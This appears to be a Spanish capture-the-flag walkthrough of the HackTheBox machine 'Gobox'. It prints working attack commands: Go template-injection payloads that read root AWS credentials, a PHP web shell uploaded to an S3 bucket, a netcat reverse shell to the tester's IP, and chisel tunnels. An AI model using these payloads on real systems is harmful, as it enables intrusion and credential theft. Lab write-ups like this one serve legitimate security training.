Gobox
sudo nmap 10.129.95.236 -sS -p- -n -Pn --min-rate 5000 --open -oG allPorts -vvv
sudo nmap 10.129.95.236 -p 22,80,4566,8080 -sCV -oN targeted
Fuzzeamos, no sale nada:
gobuster dir -u http://10.129.95.236/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -t 100
En la otra web hay un panel de inicio de sesión:
También tiene funcionalidad de recuperación de cuenta:
Por alguna razón si abres una etiqueta script se peta y no muestra nada.
Con un payload de Server Side Template Injection tira un 502
Fuzzeando por caracteres encontramos que hay algunos que no los muestra %;& y el < lo html encodea.
El payload {{77}} lo interpreta como 77
Probamos más payloads de SSTI sin éxito.
Fuzzeamos esta segunda página y no encontramos nada más.
El puerto 4566 lo hemos visto en varias ocasiones , suele tener que ver con algún emulador de aws local como LocalStack, aunque en este caso parece estar expuesto, pero de normal es interno.
Probamos a ver si podemos enumerar buckets s3 sin credenciales (o credenciales fake) y nos tira forbidden:
export AWS_ACCESS_KEY_ID="FAKE"
export AWS_SECRET_ACCESS_KEY="FAKE"
export AWS_DEFAULT_REGION="us-east-2"
aws s3 ls --endpoint-url http://10.129.95.236:4566
aws dynamodb list-tables --endpoint-url http://10.129.95.236:4566 --no-sign-request
Volvemos al SSTI y encontramos un payload que nos funciona : {{ . }}
Es un payload de go y funciona porque muestra las variables que se le pasan a la plantilla en uso
Por ejemplo
type Secreto struct {
Usuario string
Password string
Token string
}
datos := Secreto{
Usuario: "admin",
Password: "super_password_123",
Token: "xyz-999",
}
// El programador pasa el objeto 'datos' a la plantilla
plantilla.Execute(writer, datos)
Si ponemos {{ . }} nos devolverá {admin super_password_123 xyz-999}
Esto se debe a que el programador suele esperar que pasemos cosas como {{.Title}}
ippsec@hacking.esports \ ippsSecretPassword
Cuando metemos las creds nos lleva a este código en golang :
package main
import(
"html/template"
"net/http"
"log"
"os/exec"
"fmt"
"bytes"
"strings"
)
// compile all templates and cache them
var templates = template.Must(template.ParseGlob("templates/*"))
type Data struct {
Title string // Must be exported!
Body string // Must be exported!
}
type User struct {
ID int
Email string
Password string
}
func (u User) DebugCmd (test string) string {
ipp := strings.Split(test, " ")
bin := strings.Join(ipp[:1], " ")
args := strings.Join(ipp[1:], " ")
if len(args) > 0{
out, _ := exec.Command(bin, args).CombinedOutput()
return string(out)
} else {
out, _ := exec.Command(bin).CombinedOutput()
return string(out)
}
}
// Renders the templates
func renderTemplate(w http.ResponseWriter, tmpl string, page *Data) {
err := templates.ExecuteTemplate(w, tmpl, page)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
}
func IndexHandler(w http.ResponseWriter, r *http.Request) {
switch r.Method {
case "GET":
page := &Data{Title:"Home page", Body:"Welcome to our brand new home page."}
renderTemplate(w, "index", page)
case "POST":
page := &Data{Title:"Home page", Body:"Welcome to our brand new home page."}
if r.FormValue("password") == "ippsSecretPassword" {
renderTemplate(w, "source", page )
} else {
renderTemplate(w, "index", page)
}
}
}
func ForgotHandler(w http.ResponseWriter, r *http.Request) {
switch r.Method {
case "GET":
page := &Data{Title:"Forgot Password", Body:""}
renderTemplate(w, "forgot", page)
case "POST":
var user1 = &User{1, "ippsec@hacking.esports", "ippsSecretPassword"}
var tmpl = fmt.Sprintf(`Email Sent To: %s`, r.FormValue("email"))
t, err := template.New("page").Parse(tmpl)
if err != nil {
fmt.Println(err)
}
var tpl bytes.Buffer
t.Execute(&tpl, &user1)
page := &Data{Title:"Forgot Password", Body:tpl.String()}
renderTemplate(w, "forgot", page)
}
}
func main(){
http.HandleFunc("/", IndexHandler)
http.HandleFunc("/forgot/", ForgotHandler)
log.Fatal(http.ListenAndServe(":80", nil))
}
Podríamos intentar llamar a esta función para ejecutar código
func (u User) DebugCmd (test string) string {
ipp := strings.Split(test, " ")
bin := strings.Join(ipp[:1], " ")
args := strings.Join(ipp[1:], " ")
if len(args) > 0{
out, _ := exec.Command(bin, args).CombinedOutput()
return string(out)
} else {
out, _ := exec.Command(bin).CombinedOutput()
return string(out)
}
}
Vamos a probar si tenemos ejecución de código:
Y efectivamente.
Seguramente podamos llamar a esa función desde la inyección.
{{ .DebugCmd "id" }}
{{ .DebugCmd "id" }}
Como estaba costando mucho conseguir una rev shell, navegamos por el sistema de archivos hasta encontrar las credenciales de AWS
email={{+.DebugCmd+"cat ../../root/.aws/credentials"+}}@test.com
Cargamos las creds y ahora si que podemos comunicarnos con el local stack
aws_access_key_id=SXBwc2VjIFdhcyBIZXJlIC0tIFVsdGltYXRlIEhhY2tpbmcgQ2hhbXBpb25zaGlwIC0gSGFja1RoZUJveCAtIEhhY2tpbmdFc3BvcnRz
aws_secret_access_key=SXBwc2VjIFdhcyBIZXJlIC0tIFVsdGltYXRlIEhhY2tpbmcgQ2hhbXBpb25zaGlwIC0gSGFja1RoZUJveCAtIEhhY2tpbmdFc3BvcnRz
aws s3 ls --endpoint-url http://10.129.95.236:4566
website
Nos descargarmos todo el bucket
aws s3 sync s3://website . --endpoint-url http://10.129.95.236:4566
Es el código de la página main http://10.129.95.236
Tenemos permisos de escritura asi que subimos una shell
aws s3 cp /mnt/Windows/Hacking/tools/shell.php s3://website/shell.php --endpoint-url http://10.129.95.236:4566
http://10.129.95.236/shell.php?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fbash%20-i%202%3E%261%7Cnc%2010.10.17.48%204444%20%3E%2Ftmp%2Ff
nc -lvpn 4444
cat /var/www/user.txt
Hay varios puertos extraños abiertos
./chisel client 10.10.17.48:8000 R:9000:127.0.0.1:9000 R:9001:127.0.0.1:9001
chisel server --port 8000 --reverse
El puerto 9000 son los típicos endpoints de LocalStack para ver el estado
curl 'http://127.0.0.1:9000/' ; echo
{"status": "running"}
curl 'http://127.0.0.1:9000/health' ; echo
{
"services": {
"s3": "running"
},
"features": {
"persistence": "initialized",
"initScripts": "initialized"
}
}
Y el puerto 9001 parece ser la misma web que la que estaba expuesta en el 8080 hacia fuera, cuando ejecutamos el SSTI lo ejecutamos dentro del docker
Se ha tenido que ejecutar el docker con algo así :
docker run -p 8080:9001 imagen-app-go
Y de alguna forma también se abierto el 9001 en la máquina, aparte del 8080.
Ejecutando pspy64 lo podemos ver
2025/12/30 09:17:30 CMD: UID=0 PID=1200 | /usr/bin/docker-proxy -proto tcp -host-ip :: -host-port 9001 -container-ip 172.28.0.3 -container-port 80
2025/12/30 09:17:30 CMD: UID=0 PID=1194 | /usr/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 9001 -container-ip 172.28.0.3 -container-port 80
Encontramos un binario SUID /usr/bin/incrontab pero no nos deja ejecutarlo como www-data
También hay un puerto 8000 que no habíamos visto antes
./chisel client 10.10.17.48:8000 R:8001:127.0.0.1:8000